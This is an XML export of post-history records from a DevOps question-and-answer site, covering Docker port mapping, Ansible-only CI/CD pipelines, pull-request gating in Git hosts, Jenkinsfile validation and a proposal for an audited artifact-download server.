  <row Id="10126" PostHistoryTypeId="2" PostId="3227" RevisionGUID="69392846-e4e3-44c7-b18b-d925633ffb57" CreationDate="2018-01-30T22:01:43.667" UserId="4328" Text="For your own personal use, I think a GitHub repository with all of your bootstrap and installation scripts is a great idea. It serves as a portable way to download and distribute any scripts you need where firewalls and restrictions aren't an issue. &#xD;&#xA;&#xD;&#xA;As for within your organization, one suggestion that your IT might be open to as a compromise is to create a machine (barebones, VM, etc.) that is solely dedicated to downloading and storing the artifacts that you need. The criteria for this machine would be:&#xD;&#xA;&#xD;&#xA; 1. It has access to download artifacts (files, apps, etc.) from a source (preferably either the open internet or from white-listed addresses).&#xD;&#xA; 2. It is able to store the artifacts in a central location.&#xD;&#xA; 3. It is not able to access internal infrastructure&#xD;&#xA; 4. It is has auditing to track any artifacts that it downloads/stores&#xD;&#xA;&#xD;&#xA;With this setup, you could download something like the latest version of Python onto the server (via logging in with credentials, API, etc.) and have it store Python in a central location for your other servers to download and install. You could store your artifacts in a multitude of ways (artifact repository, cloud storage, file server, etc.), but only that server should be able to upload to your storage. Your IT team could even set alerts when a new artifact is downloaded on this server or uploaded to your storage so that they can inspect it. &#xD;&#xA;&#xD;&#xA;I think this approach demonstrates a few things to your IT department:&#xD;&#xA;&#xD;&#xA; 1. These artifacts are important enough to you and your teams that you are willing to go out of your way to establish a safer and more traceable method to retrieve them.&#xD;&#xA; 2. You have given your IT department an automated way to track who and when an artifact was downloaded in the event an artifact is malicious and needs to be deleted and traced to a source (something they probably didn't have in place before).&#xD;&#xA; 3. The method you propose not only gives you more accessibility to the tools you need to be productive, but you are proposing ways to help your IT team be more productive by not having to manage all aspects of downloading artifacts. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10128" PostHistoryTypeId="2" PostId="3228" RevisionGUID="1acc39f6-e2f8-496b-99c9-9c276c75f83e" CreationDate="2018-01-31T04:12:53.050" UserId="162" Text="I'm fairly new to filebeat, ingest, pipelines in ElasticSearch and not sure how they relate.&#xD;&#xA;&#xD;&#xA;In my old environments we had ELK with some custom grok patterns in a directory on the logstash-shipper to parse java stacktraces properly. The logstash indexer would later put the logs in ES.&#xD;&#xA;&#xD;&#xA;How do I do this without Logstash? And how do I parse custom log formats?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10129" PostHistoryTypeId="1" PostId="3228" RevisionGUID="1acc39f6-e2f8-496b-99c9-9c276c75f83e" CreationDate="2018-01-31T04:12:53.050" UserId="162" Text="Do I use Filebeat, Ingest or Pipelines to get rid of Logstash in my ELK stack?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10130" PostHistoryTypeId="3" PostId="3228" RevisionGUID="1acc39f6-e2f8-496b-99c9-9c276c75f83e" CreationDate="2018-01-31T04:12:53.050" UserId="162" Text="&lt;logstash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10131" PostHistoryTypeId="10" PostId="3223" RevisionGUID="40f5bf3d-ee7f-459d-9548-3d5d782f35e0" CreationDate="2018-01-31T06:33:16.650" UserId="-1" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:2845,&quot;DisplayName&quot;:&quot;James Shewey&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:4328,&quot;DisplayName&quot;:&quot;PrestonM&quot;},{&quot;Id&quot;:960,&quot;DisplayName&quot;:&quot;Xiong Chiamiov&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;}]}" />
  <row Id="10132" PostHistoryTypeId="2" PostId="3229" RevisionGUID="b30f604e-7d7f-4764-9d6b-77d23036a9d6" CreationDate="2018-01-31T11:16:08.953" UserId="4168" Text="I have the following `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:latest&#xD;&#xA;    MAINTAINER Valter Silva&#xD;&#xA;    RUN apt-get update&#xD;&#xA;    RUN apt-get install -y apache2&#xD;&#xA;    ADD index.html /var/www/html/&#xD;&#xA;    CMD /usr/sbin/apache2ctl -D FOREGROUND&#xD;&#xA;    EXPOSE 22&#xD;&#xA;    EXPOSE 80&#xD;&#xA;&#xD;&#xA;This is how I build my `image`:&#xD;&#xA;&#xD;&#xA;    docker build --tags mob:latest .&#xD;&#xA;&#xD;&#xA;Next, this is how I bring my container up:&#xD;&#xA;&#xD;&#xA;    docker run -d --name website mob&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then I check my container's ip via the following command:&#xD;&#xA;&#xD;&#xA;    docker network inspect bridge&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would like to execute a `curl` on this ip to ensure that my website is up and running:&#xD;&#xA;&#xD;&#xA;    curl 172.17.0.2&#xD;&#xA;&#xD;&#xA;But for some reason, my command keeps hanging. I'm not sure why this is happening. I'm running my `docker`on a MacOS system.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10133" PostHistoryTypeId="1" PostId="3229" RevisionGUID="b30f604e-7d7f-4764-9d6b-77d23036a9d6" CreationDate="2018-01-31T11:16:08.953" UserId="4168" Text="How to connect to a docker container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10134" PostHistoryTypeId="3" PostId="3229" RevisionGUID="b30f604e-7d7f-4764-9d6b-77d23036a9d6" CreationDate="2018-01-31T11:16:08.953" UserId="4168" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;docker-machine&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10135" PostHistoryTypeId="2" PostId="3230" RevisionGUID="c1576fff-bd83-487d-85a1-b0a40108db93" CreationDate="2018-01-31T12:02:33.943" UserId="6325" Text="You can get to know if your site is up and running in the following way,&#xD;&#xA;&#xD;&#xA;Map both the ports of inside container to the host using **-p** option and try to curl localhost:port&#xD;&#xA;&#xD;&#xA;*Scenario:-*&#xD;&#xA;&#xD;&#xA;Run your container with the following command,&#xD;&#xA;&#xD;&#xA;**docker run -d --name website -p 80:80 -p 22:22 mob**&#xD;&#xA;&#xD;&#xA;Explanation:-  *-p host_port:container's_port*&#xD;&#xA;&#xD;&#xA;Now, curl localhost:80 or localhost:22&#xD;&#xA;&#xD;&#xA;If your service is running properly, you will have got the response&#xD;&#xA;&#xD;&#xA;P.S:- Make sure nothing is running in 80 and 20 on host before running the **docker run** command&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="10136" PostHistoryTypeId="5" PostId="3230" RevisionGUID="1c9faba9-856c-4a18-bf93-aebfa96d1b56" CreationDate="2018-01-31T15:24:15.957" UserId="47" Comment="improved formatting" Text="You can get to know if your site is up and running in the following way,&#xD;&#xA;&#xD;&#xA;Map both the ports of inside container to the host using **-p** option and try to `curl localhost:port`&#xD;&#xA;&#xD;&#xA;*Scenario:-*&#xD;&#xA;&#xD;&#xA;Run your container with the following command,&#xD;&#xA;&#xD;&#xA;    docker run -d --name website -p 80:80 -p 22:22 mob&#xD;&#xA;&#xD;&#xA;Explanation:-  `-p host_port:container's_port`&#xD;&#xA;&#xD;&#xA;Now, `curl localhost:80` or `localhost:22`&#xD;&#xA;&#xD;&#xA;If your service is running properly, you will have got the response&#xD;&#xA;&#xD;&#xA;P.S:- Make sure nothing is running in 80 and 20 on host before running the **docker run** command&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="10137" PostHistoryTypeId="2" PostId="3231" RevisionGUID="fb7f166b-5adf-45dc-ab02-7eeb41abfb83" CreationDate="2018-01-31T16:21:44.637" UserId="6328" Text="I am new to Ansible and was wondering about the capabilities of Ansible. Can ansible alone be a complete CI-CD tool?&#xD;&#xA;&#xD;&#xA;Scenario that needs to be implemented:&#xD;&#xA;&#xD;&#xA;As soon as a developer perform a &quot;git commit&quot;, the build should be generated and placed some central server or maybe Amazon S3. This is a JAR file assuming a Java application. One can then download the build and deploy that build to the testing environment and after deployment invoke the automated test cases. Upon successful implementation of the test cases,one should be able to deploy this build onto the production environment in a rolling fashion. Note that one must not deploy this build every time, but it should be a discretionary power. I.e. even if during a day let us say, 5 builds were created and 3 of them passed the test cases, It should not go and deploy the builds on production. I should decide when to deploy the build, this could be a flag that I set to &quot;Go&quot; and then the deployment to production should take place.&#xD;&#xA;Points that I am apprehensive about Ansible's capability are:&#xD;&#xA;&#xD;&#xA;a) Will ansible be able to detect the &quot;git commit&quot; event. Is there a way my playbook to constantly poll the GIT server on a regular basis to detect any commits?&#xD;&#xA;&#xD;&#xA;b) Is it possible to create Build using just Ansible. (Can i use command module to just execute the build creation process(assuming there is some command to create the build and I was thinking of firing those command using the command module, maybe maven or ant command).&#xD;&#xA;&#xD;&#xA;Kindly forgive me for my ignorance if there is no such thing. I have never done development and hence am complete beginner.&#xD;&#xA;&#xD;&#xA;c) How can i invoke automated test cases on the testing environment where the build was deployed(I am assuming a successful deploy on the stage environment).&#xD;&#xA;&#xD;&#xA;d) Can i capture the success or failure result? (It maybe be a suite of test cases and won't be an objective o/p as pass or fail.)&#xD;&#xA;&#xD;&#xA;e) Is there a way to achieve the discretion based deployment to production systems using Ansible?&#xD;&#xA;&#xD;&#xA;Note that I don't want to use Jenkins or any such tools for creation of builds or deployment to test environments .&#xD;&#xA;&#xD;&#xA;This may sound like a beginner question on Devops, but i just wanted to assess the scope of Ansible as a CI tool. Is Jenkins(or any other variant) inevitable for achieving this? or can people do away without using Jenkins.&#xD;&#xA;&#xD;&#xA;Also if someone can comment on what is the recommended way to achieve this pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="10138" PostHistoryTypeId="1" PostId="3231" RevisionGUID="fb7f166b-5adf-45dc-ab02-7eeb41abfb83" CreationDate="2018-01-31T16:21:44.637" UserId="6328" Text="mplement CI-CD using Ansible only" ContentLicense="CC BY-SA 3.0" />
  <row Id="10139" PostHistoryTypeId="3" PostId="3231" RevisionGUID="fb7f166b-5adf-45dc-ab02-7eeb41abfb83" CreationDate="2018-01-31T16:21:44.637" UserId="6328" Text="&lt;continuous-integration&gt;&lt;ansible&gt;&lt;continuous-deployment&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10140" PostHistoryTypeId="2" PostId="3232" RevisionGUID="64fbc165-45dc-4d99-9a98-a306c512735d" CreationDate="2018-01-31T16:59:53.840" UserId="739" Text="This is totally possible.  Of course you can achieve it without jenkins or similar tools being required.  We're always free to reinvent the wheel.  The question becomes is it worth the effort?  When it helps you avoid jenkins I'd be inclined to put the effort in.  (I'd also suggest looking at [Concourse](https://concourse.ci/) before doing jenkins again, but that's not what this question is about...)&#xD;&#xA;&#xD;&#xA;For your case you need two things:&#xD;&#xA;&#xD;&#xA;1. a playbook that automates your build using `ansible`.&#xD;&#xA;1. a [git hook](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) to invoke your ansible playbook, probably post-commit.&#xD;&#xA;&#xD;&#xA;If you are using gitlab or github you should look at their specific documentation for creating hooks, but otherwise the generic help I linked to should do it.&#xD;&#xA;&#xD;&#xA;To answer your specific questions:&#xD;&#xA;&#xD;&#xA;a) Yes, use the git hook.&#xD;&#xA;&#xD;&#xA;b) Sure.  You probably want ansible to do a fresh `git checkout` first.  Eventually you will want to add any prerequisites to be verified too.&#xD;&#xA;&#xD;&#xA;c) You don't have to assume anything, just add these steps to the end of your playbook.  If the build fails, it will stop before wasting effort on testing anything.  You could split build, deploy, and validate into their own roles within one larger playbook.  This will help make each of the sets of tasks easier to manage and you could call them manually if needed for debugging or emergencies.&#xD;&#xA;&#xD;&#xA;d) You could do this in a myriad of ways.  I'd create a text file with a date/time stamp and the results inside.  You could write it to a database or K/V store.&#xD;&#xA;&#xD;&#xA;e) I'm not sure what you mean." ContentLicense="CC BY-SA 3.0" />
  <row Id="10141" PostHistoryTypeId="2" PostId="3233" RevisionGUID="7127cc29-bdac-442f-94b4-c6af95803a96" CreationDate="2018-01-31T17:23:17.107" UserId="4175" Text="Frankly, if you go this route, you do not even need Ansible as a CI/CD driver. Ansible does not bring any infrastructure anyways, it just uses an existing ssh connection, so you can just use said ssh connection directly with your own scripts.&#xD;&#xA;&#xD;&#xA;If the penultimate goal is to avoid any of the established solutions (Jenkins, Gitlab CI, whatever), then nothing really keeps you from rolling your own:&#xD;&#xA;&#xD;&#xA;- Create some scripts &quot;prepare.sh&quot;, &quot;build.sh&quot;, &quot;test.sh&quot;, &quot;deploy.sh&quot; etc. which do their thing. &quot;prepare.sh&quot; would maybe use Ansible itself to setup a working environment somewhere, do the clone etc.&#xD;&#xA;- Either in a git hook on the server side, or if you cannot install it there, in some permanently running (or cron-started) master script which polls the git repository regularly, implement a detector which looks for new commits and then executes the other scripts in order, until one of them fails or you are done.&#xD;&#xA;- If you need nothing fancy regarding reporting etc., then just redirect the output of all those scripts to some logfile, or log files tagged with the current time.&#xD;&#xA;- It's easy to send a quick mail to the devs when the build or test goes wrong, if you are so inclined.&#xD;&#xA;&#xD;&#xA;All in all, this would probably not be *that* much more effort than using Jenkins - with Jenkins, you'd write the content of your scripts somewhere in the job definition, anyways.&#xD;&#xA;&#xD;&#xA;Obviously, you do not get all the fluff that Jenkins or other solutions give you - statistics, reports, GUI, load-balancing the worker nodes etc., but as long as you do not need those, why not." ContentLicense="CC BY-SA 3.0" />
  <row Id="10142" PostHistoryTypeId="2" PostId="3234" RevisionGUID="c8a3f87b-7871-460e-92cf-8f2a206be72f" CreationDate="2018-01-31T17:57:00.500" UserId="4328" Text="I am looking to migrate a handful of Subversion repositories to Git. Each of these repositories has a development and production branch. When ready to release, a developer will submit a pull request to production. There is a version file that contains the version that has to be incremented in some way. Is there a Git repository manager (Gitlab, Bitbucket, etc.) that allows you to automatically deny pull requests based on a condition? My condition in this example would be the version in a version file is not incremented. I am also willing to consider other methods, such as tagging the repositories instead of a version file, if auto-denying in that way is possible. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10143" PostHistoryTypeId="1" PostId="3234" RevisionGUID="c8a3f87b-7871-460e-92cf-8f2a206be72f" CreationDate="2018-01-31T17:57:00.500" UserId="4328" Text="Git Repository Manager conditionally deny pull request" ContentLicense="CC BY-SA 3.0" />
  <row Id="10144" PostHistoryTypeId="3" PostId="3234" RevisionGUID="c8a3f87b-7871-460e-92cf-8f2a206be72f" CreationDate="2018-01-31T17:57:00.500" UserId="4328" Text="&lt;git&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10145" PostHistoryTypeId="5" PostId="3231" RevisionGUID="feeb2bd3-c4bd-40d0-b461-95130ab1c7d9" CreationDate="2018-01-31T18:43:29.390" UserId="739" Comment="copy editing and formatting" Text="I am new to Ansible and was wondering about the capabilities of Ansible. Can ansible alone be a complete CI-CD tool?&#xD;&#xA;&#xD;&#xA;Scenario that needs to be implemented:&#xD;&#xA;&#xD;&#xA;As soon as a developer perform a `git commit`, the build should be generated and placed some central server or maybe Amazon S3. This is a `JAR` file assuming a Java application. One can then download the build and deploy that build to the testing environment and after deployment invoke the automated test cases. Upon successful implementation of the test cases,one should be able to deploy this build onto the production environment in a rolling fashion. Note that one must not deploy this build every time, but it should be a discretionary power. I.e. even if during a day let us say, 5 builds were created and 3 of them passed the test cases, It should not go and deploy the builds on production. I should decide when to deploy the build, this could be a flag that I set to &quot;Go&quot; and then the deployment to production should take place.&#xD;&#xA;Points that I am apprehensive about Ansible's capability are:&#xD;&#xA;&#xD;&#xA;a) Will ansible be able to detect the `git commit` event. Is there a way my playbook to constantly poll the GIT server on a regular basis to detect any commits?&#xD;&#xA;&#xD;&#xA;b) Is it possible to create Build using just Ansible. (Can I use command module to just execute the build creation process(assuming there is some command to create the build and I was thinking of firing those command using the command module, maybe `maven` or `ant` command).&#xD;&#xA;&#xD;&#xA;Kindly forgive me for my ignorance if there is no such thing. I have never done development and hence am complete beginner.&#xD;&#xA;&#xD;&#xA;c) How can I invoke automated test cases on the testing environment where the build was deployed (I am assuming a successful deploy on the stage environment).&#xD;&#xA;&#xD;&#xA;d) Can I capture the success or failure result? (It maybe be a suite of test cases and won't be an objective o/p as pass or fail.)&#xD;&#xA;&#xD;&#xA;e) Is there a way to achieve the discretion based deployment to production systems using Ansible?&#xD;&#xA;&#xD;&#xA;Note that I don't want to use Jenkins or any such tools for creation of builds or deployment to test environments .&#xD;&#xA;&#xD;&#xA;This may sound like a beginner question on DevOps, but I just wanted to assess the scope of Ansible as a CI tool. Is Jenkins(or any other variant) inevitable for achieving this? or can people do away without using Jenkins.&#xD;&#xA;&#xD;&#xA;Also if someone can comment on what is the recommended way to achieve this pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="10146" PostHistoryTypeId="4" PostId="3231" RevisionGUID="feeb2bd3-c4bd-40d0-b461-95130ab1c7d9" CreationDate="2018-01-31T18:43:29.390" UserId="739" Comment="copy editing and formatting" Text="Implement CI-CD using Ansible only" ContentLicense="CC BY-SA 3.0" />
  <row Id="10147" PostHistoryTypeId="24" PostId="3231" RevisionGUID="feeb2bd3-c4bd-40d0-b461-95130ab1c7d9" CreationDate="2018-01-31T18:43:29.390" Comment="Proposed by 739 approved by -1 edit id of 600" ContentLicense="CC BY-SA 3.0" />
  <row Id="10148" PostHistoryTypeId="5" PostId="3231" RevisionGUID="04c1f2b7-39ec-48d7-a1fe-0ec170f57313" CreationDate="2018-01-31T18:43:29.390" UserId="40" Comment="added 5 characters in body; edited title" Text="I am new to Ansible and was wondering about the capabilities of Ansible. Can Ansible alone be a complete CI-CD tool?&#xD;&#xA;&#xD;&#xA;Scenario that needs to be implemented:&#xD;&#xA;&#xD;&#xA;As soon as a developer perform a `git commit`, the build should be generated and placed some central server or maybe Amazon S3. This is a `JAR` file assuming a Java application. One can then download the build and deploy that build to the testing environment and after deployment invoke the automated test cases. Upon successful implementation of the test cases,one should be able to deploy this build onto the production environment in a rolling fashion. Note that one must not deploy this build every time, but it should be a discretionary power. I.e. even if during a day let us say, 5 builds were created and 3 of them passed the test cases, It should not go and deploy the builds on production. I should decide when to deploy the build, this could be a flag that I set to &quot;Go&quot; and then the deployment to production should take place.&#xD;&#xA;&#xD;&#xA;Points that I am apprehensive about Ansible's capability are:&#xD;&#xA;&#xD;&#xA;1. Will ansible be able to detect the `git commit` event. Is there a way my playbook to constantly poll the GIT server on a regular basis to detect any commits?&#xD;&#xA;&#xD;&#xA;2. Is it possible to create Build using just Ansible. (Can I use command module to just execute the build creation process(assuming there is some command to create the build and I was thinking of firing those command using the command module, maybe `maven` or `ant` command).&#xD;&#xA;&#xD;&#xA;  Kindly forgive me for my ignorance if there is no such thing. I have never done development and hence am complete beginner.&#xD;&#xA;&#xD;&#xA;3. How can I invoke automated test cases on the testing environment where the build was deployed (I am assuming a successful deploy on the stage environment).&#xD;&#xA;&#xD;&#xA;4. Can I capture the success or failure result? (It maybe be a suite of test cases and won't be an objective o/p as pass or fail.)&#xD;&#xA;&#xD;&#xA;5. Is there a way to achieve the discretion based deployment to production systems using Ansible?&#xD;&#xA;&#xD;&#xA;Note that I don't want to use Jenkins or any such tools for creation of builds or deployment to test environments .&#xD;&#xA;&#xD;&#xA;This may sound like a beginner question on DevOps, but I just wanted to assess the scope of Ansible as a CI tool. Is Jenkins (or any other variant) inevitable for achieving this? Or can people do away without using Jenkins.&#xD;&#xA;&#xD;&#xA;Also if someone can comment on what is the recommended way to achieve this pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="10149" PostHistoryTypeId="4" PostId="3231" RevisionGUID="04c1f2b7-39ec-48d7-a1fe-0ec170f57313" CreationDate="2018-01-31T18:43:29.390" UserId="40" Comment="added 5 characters in body; edited title" Text="Can Ansible alone be a complete CI-CD tool?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10154" PostHistoryTypeId="2" PostId="3236" RevisionGUID="8456f4f9-a9f5-40c5-8c72-77cef04bfabd" CreationDate="2018-01-31T20:42:42.593" UserId="960" Text="Most repository managers have some way of implementing this.&#xD;&#xA;&#xD;&#xA;GitHub (and GitHub Enterprise) has the idea of statuses on a commit; you'd set up [a webhook](https://developer.github.com/webhooks/) that pings your tool's webserver when a commit is pushed, and then it would use [the status API](https://developer.github.com/v3/repos/statuses/) to set whether or not it passes the version check.&#xD;&#xA;&#xD;&#xA;Bitbucket, when self-hosted, supports plugins to integrate nicely with it, including [ScriptRunner](https://marketplace.atlassian.com/plugins/com.onresolve.stash.groovy.groovyrunner/server/overview), which can be used to do all sorts of things similar to what you want." ContentLicense="CC BY-SA 3.0" />
  <row Id="10155" PostHistoryTypeId="5" PostId="3232" RevisionGUID="cc1fd400-bf17-4889-8b0e-b15b926e6b33" CreationDate="2018-01-31T21:05:17.097" UserId="739" Comment="go to numbers since Pierre changed the questions in the question to be numbered" Text="This is totally possible.  Of course you can achieve it without jenkins or similar tools being required.  We're always free to reinvent the wheel.  The question becomes is it worth the effort?  When it helps you avoid jenkins I'd be inclined to put the effort in.  (I'd also suggest looking at [Concourse](https://concourse.ci/) before doing jenkins again, but that's not what this question is about...)&#xD;&#xA;&#xD;&#xA;For your case you need two things:&#xD;&#xA;&#xD;&#xA;1. a playbook that automates your build using `ansible`.&#xD;&#xA;1. a [git hook](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) to invoke your ansible playbook, probably post-commit.&#xD;&#xA;&#xD;&#xA;If you are using gitlab or github you should look at their specific documentation for creating hooks, but otherwise the generic help I linked to should do it.&#xD;&#xA;&#xD;&#xA;To answer your specific questions:&#xD;&#xA;&#xD;&#xA;1. Yes, use the git hook.&#xD;&#xA;&#xD;&#xA;1. Sure.  You probably want ansible to do a fresh `git checkout` first.  Eventually you will want to add any prerequisites to be verified too.&#xD;&#xA;&#xD;&#xA;1. You don't have to assume anything, just add these steps to the end of your playbook.  If the build fails, it will stop before wasting effort on testing anything.  You could split build, deploy, and validate into their own roles within one larger playbook.  This will help make each of the sets of tasks easier to manage and you could call them manually if needed for debugging or emergencies.&#xD;&#xA;&#xD;&#xA;1. You could do this in a myriad of ways.  I'd create a text file with a date/time stamp and the results inside.  You could write it to a database or K/V store.&#xD;&#xA;&#xD;&#xA;1. I'm not sure what you mean." ContentLicense="CC BY-SA 3.0" />
  <row Id="10156" PostHistoryTypeId="5" PostId="3236" RevisionGUID="47f82f3f-ce3c-49d2-a546-45027e6f40a0" CreationDate="2018-01-31T21:16:49.323" UserId="960" Comment="added 255 characters in body" Text="Most repository managers have some way of implementing this.&#xD;&#xA;&#xD;&#xA;GitHub (and GitHub Enterprise) has the idea of statuses on a commit; you'd set up [a webhook](https://developer.github.com/webhooks/) that pings your tool's webserver when a commit is pushed, and then it would use [the status API](https://developer.github.com/v3/repos/statuses/) to set whether or not it passes the version check.&#xD;&#xA;&#xD;&#xA;Bitbucket, when self-hosted, supports plugins to integrate nicely with it, including [ScriptRunner](https://marketplace.atlassian.com/plugins/com.onresolve.stash.groovy.groovyrunner/server/overview), which can be used to do all sorts of things similar to what you want.&#xD;&#xA;&#xD;&#xA;I'm not familiar with GitLab, but it probably has some similar method.&#xD;&#xA;&#xD;&#xA;You will need to do some programming to implement the checking logic, but these pieces should allow you to kick that off when appropriate and use the results to block the merge." ContentLicense="CC BY-SA 3.0" />
  <row Id="10157" PostHistoryTypeId="5" PostId="3233" RevisionGUID="e2e96e88-3949-4be3-a0d6-a8339114e415" CreationDate="2018-01-31T22:07:43.247" UserId="4175" Comment="deleted 3 characters in body" Text="Frankly, if you go this route, you do not even need Ansible as a CI/CD driver. Ansible does not bring any infrastructure anyways, it just uses an existing ssh connection, so you can just use said ssh connection directly with your own scripts.&#xD;&#xA;&#xD;&#xA;If the ultimate goal is to avoid any of the established solutions (Jenkins, Gitlab CI, whatever), then nothing really keeps you from rolling your own:&#xD;&#xA;&#xD;&#xA;- Create some scripts &quot;prepare.sh&quot;, &quot;build.sh&quot;, &quot;test.sh&quot;, &quot;deploy.sh&quot; etc. which do their thing. &quot;prepare.sh&quot; would maybe use Ansible itself to setup a working environment somewhere, do the clone etc.&#xD;&#xA;- Either in a git hook on the server side, or if you cannot install it there, in some permanently running (or cron-started) master script which polls the git repository regularly, implement a detector which looks for new commits and then executes the other scripts in order, until one of them fails or you are done.&#xD;&#xA;- If you need nothing fancy regarding reporting etc., then just redirect the output of all those scripts to some logfile, or log files tagged with the current time.&#xD;&#xA;- It's easy to send a quick mail to the devs when the build or test goes wrong, if you are so inclined.&#xD;&#xA;&#xD;&#xA;All in all, this would probably not be *that* much more effort than using Jenkins - with Jenkins, you'd write the content of your scripts somewhere in the job definition, anyways.&#xD;&#xA;&#xD;&#xA;Obviously, you do not get all the fluff that Jenkins or other solutions give you - statistics, reports, GUI, load-balancing the worker nodes etc., but as long as you do not need those, why not." ContentLicense="CC BY-SA 3.0" />
  <row Id="10158" PostHistoryTypeId="2" PostId="3237" RevisionGUID="98b75f8b-2db4-42fb-8d68-c0a7e2e96f97" CreationDate="2018-02-01T07:57:13.497" UserId="6339" Text="I also have the same idea(different config files for different pipeline).&#xD;&#xA;I use the pipeline.properties to store my variable. &#xD;&#xA;&#xD;&#xA;    properties = readProperties file: 'pipeline.properties'&#xD;&#xA;    echo &quot;Immediate one ${properties.repo}&quot;&#xD;&#xA;&#xD;&#xA;**Drawbacks:**&#xD;&#xA;Due to the groovy early evaluation problems. The value will be null when you use the ${properties.repo} in some shared library closure (eg, agent { label $properties.agentLabel }, the agentLabel will be null).&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;https://stackoverflow.com/questions/46630168/in-a-declarative-jenkins-pipeline-can-i-set-the-agent-label-dynamically&#xD;&#xA;&#xD;&#xA;http://jenkins-ci.361315.n4.nabble.com/can-i-use-variable-to-specify-the-agent-label-in-my-declarative-pipeline-td4897177.html&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10159" PostHistoryTypeId="2" PostId="3238" RevisionGUID="2b7dee71-2c4f-49a5-9112-c88ecb6fdb84" CreationDate="2018-02-01T10:16:48.680" UserId="4468" Text="Currently we're using [Jenkins shared libraries][1] which we're planning to use with custom Jenkinsfiles.&#xD;&#xA;Idea here is that developers should be able to manage those custom Jenkinsfiles without any additional help from DevOps team.&#xD;&#xA;&#xD;&#xA;In order to implement this feature I need some way how to validate this custom Jenkinsfile.&#xD;&#xA;&#xD;&#xA;Even if I have running Jenkins instance with configured shared libraries post to /pipeline-model-converter/validate wont lint my Jenkinsfile correctly as it wont load my custom libraries.&#xD;&#xA;&#xD;&#xA;Is there a convenient way how to check custom Jenkinsfile before actually executing it on running Jenkins instance? e.g., checking if method names in Jenkinsfile are correctly written.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/shared-libraries/ &quot;Jenkins shared libraries&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10160" PostHistoryTypeId="1" PostId="3238" RevisionGUID="2b7dee71-2c4f-49a5-9112-c88ecb6fdb84" CreationDate="2018-02-01T10:16:48.680" UserId="4468" Text="Validating custom Jenkinsfile" ContentLicense="CC BY-SA 3.0" />
  <row Id="10161" PostHistoryTypeId="3" PostId="3238" RevisionGUID="2b7dee71-2c4f-49a5-9112-c88ecb6fdb84" CreationDate="2018-02-01T10:16:48.680" UserId="4468" Text="&lt;testing&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10162" PostHistoryTypeId="2" PostId="3239" RevisionGUID="c913e57c-964e-4074-aa50-31c9f220dd9e" CreationDate="2018-02-01T11:54:04.150" UserId="5879" Text="As far as I see, there are two possible approaches, either by &lt;del&gt;misusing&lt;/del&gt; reusing the [Blue Ocean plugin][1] or using the [Groovy-based Jenkinsfile unit test tool][2].&#xD;&#xA;&#xD;&#xA;The groovy approach might be a bit of overhead, since it is not a client-side Javascript verification. An idea would be to run an async task, server side that tests the code the developer provides and returns the results to the client. You mentioned that the shared libraries are not being parsed properly. This might be resolvable through the use of mock Jenkins commands and objects. This might also avoid the security risk which is created through [shared libraries][3], which requires users having push rights.&#xD;&#xA;&#xD;&#xA;The client-side solution might be to provide a playground via the Blue Ocean plugin or directly present the Jenkinsfile that has been created [via a redirect][4] of the Jenkinsfile to Blue Ocean.&#xD;&#xA;&#xD;&#xA;All in all, there is no straight forward JS library solution to your problem, as far as I can tell.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/45330705/6783666&#xD;&#xA;  [2]: https://github.com/jenkinsci/JenkinsPipelineUnit&#xD;&#xA;  [3]: https://jenkins.io/doc/book/pipeline/shared-libraries/&#xD;&#xA;  [4]: https://stackoverflow.com/a/43640430/6783666" ContentLicense="CC BY-SA 3.0" />
  <row Id="10169" PostHistoryTypeId="50" PostId="2412" RevisionGUID="0a7eab9a-8ac3-444b-8452-5130f1b772d5" CreationDate="2018-02-01T15:53:45.813" UserId="-1" />
  <row Id="10174" PostHistoryTypeId="50" PostId="1917" RevisionGUID="4d3cc8a7-a304-4b13-b4d0-60b34dd6e60c" CreationDate="2018-02-01T16:53:45.870" UserId="-1" />
